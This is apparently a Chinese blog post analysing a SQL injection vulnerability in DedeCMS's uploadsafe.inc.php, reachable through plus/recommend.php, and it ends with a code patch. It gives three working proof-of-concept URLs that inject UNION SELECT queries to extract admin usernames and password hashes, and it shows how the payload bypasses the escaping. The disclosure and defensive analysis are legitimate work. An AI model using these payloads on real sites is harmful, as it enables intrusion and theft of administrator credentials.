来源：未知 时间：2018-01-03 13:59 作者：小飞侠 阅读:次
[导读] dedecms上传漏洞uploadsafe.inc.php 文件地址: \include\uploadsafe.inc.php 1. 漏洞描述 1. dedecms原生提供一个本地变量注册的模拟实现，原则上允许黑客覆盖任意变量 2. dedecms在实现本地变量注册的时...
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dedecms上传漏洞uploadsafe.inc.php 文件地址: \include\uploadsafe.inc.php 1. 漏洞描述 1. dedecms原生提供一个"本地变量注册"的模拟实现，原则上允许黑客覆盖任意变量 2. dedecms在实现本地变量注册的时候，会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理 //$key值注入不在本文讨论范围内，详情参阅：http://www.cnblogs.com/LittleHann/p/4505694.html 3. 在处理文件上传的逻辑中，存在一条攻击路径，程序自己"反处理"了addslash逻辑，使用于闭合的单引号重新获得攻击效果，造成SQL注入 Relevant Link: http://0day5.com/archives/1346 2. 漏洞触发条件 0x1: POC1 plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294 ?action= &aid=1 &_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+ &_FILES[type][name]=1.jpg &_FILES[type][type]=application/octet-stream &_FILES[type][size]=4294 0x2: POC2 http://DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873 0x3: POC3 http://DEDE/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23 0x4: POC入侵方式 1. 原始数据 \%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+ 2.URL提交进来后，\ 和 ’ 分别被转义成 \\ 和 \’ \\\' or mid=@`\\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`detest_admin` limit 0,1),5,6,7,8,9#@`\\\'` 3.URL被带入include/common.inc.php中检查，此步数据未发生变化 4.然后来到了include/uploadsafe.inc.php中，经过第行str_replace后，\\被过滤成了\，用于攻击闭合的单引号重新获得攻击能力 $$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']); \\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`detest_admin` limit 0,1),5,6,7,8,9#@`\\'` 此时引号被成功的带入了查询语句中 5.回到plus/recommend.php中，第38行，此时SQL语句被拼成如下： SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `detest_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `detest_admin` limit 0,1),5,6,7,8,9#@`\\'` ' Relevant Link: http://www.xuebuyuan.com/2095280.html http://0day5.com/archives/1346 http://loudong.360.cn/blog/view/id/17 3. 漏洞影响范围 4. 漏洞代码分析 从/plus/recommand.php开始逐步分析 require_once(dirname(__FILE__)."/../include/common.inc.php"); .. /include/common.inc.php .. function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar; } .. 只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE，即可通过检查，_FILES[type][tmp_name]被带入引发漏洞的入口点在/include/uploadsafe.inc.php .. //转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数 if($_FILES) { require_once(DEDEINC.'/uploadsafe.inc.php'); } .. /include/uploadsafe.inc.php .. //URL参数中的_FILES[type][tmp_name]，$_key为type，$$_key即为$type，从而导致了$type变量的覆盖 $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']); ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']); .. /plus/recommand.php //读取文档信息 if($action=='') { if($type=='sys'){ //读取文档信息 $arcRow = GetOneArchive($aid); if($arcRow['aid']=='') { ShowMsg("无法把未知文档推荐给好友!","-1"); exit(); } extract($arcRow, EXTR_OVERWRITE); } else { //注入语句被带入数据库查询， $arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `detest_member_stow` AS s LEFT JOIN `detest_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'"); if(!is_array($arcRow)){ ShowMsg("无法把未知文档推荐给好友!","-1"); exit(); } $arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid']; extract($arcRow, EXTR_OVERWRITE); } } 5. 防御方法 /include/uploadsafe.inc.php /* */
//$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
$$_key = $_FILES[$_key]['tmp_name'];
/* */
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
if(empty(${$_key.'_size'}))
{
${$_key.'_size'} = @filesize($$_key);
}
/* 限制上传文件类型 */
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
/* */
文件/include/uploadsafe.inc.php。
有2个地方：
1、搜索 ${$_key.'_size'} = @filesize($$_key); }(大概在42,43行左右)
替换成
${$_key.'_size'} = @filesize($$_key);
} $imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp"); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); if($image_dd == false){ continue; } if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }
2、搜索 $image_dd = @getimagesize($$_key);(大概在53行左右)
替换成
$image_dd = @getimagesize($$_key); if($image_dd == false){ continue; } 老规矩大红色地方标记了修改的地方，然后保存，接着备份原文件，比如文件名变为uploadsafe.inc.php.16.08.09.bak。然后上传修改好的文件即可。 |
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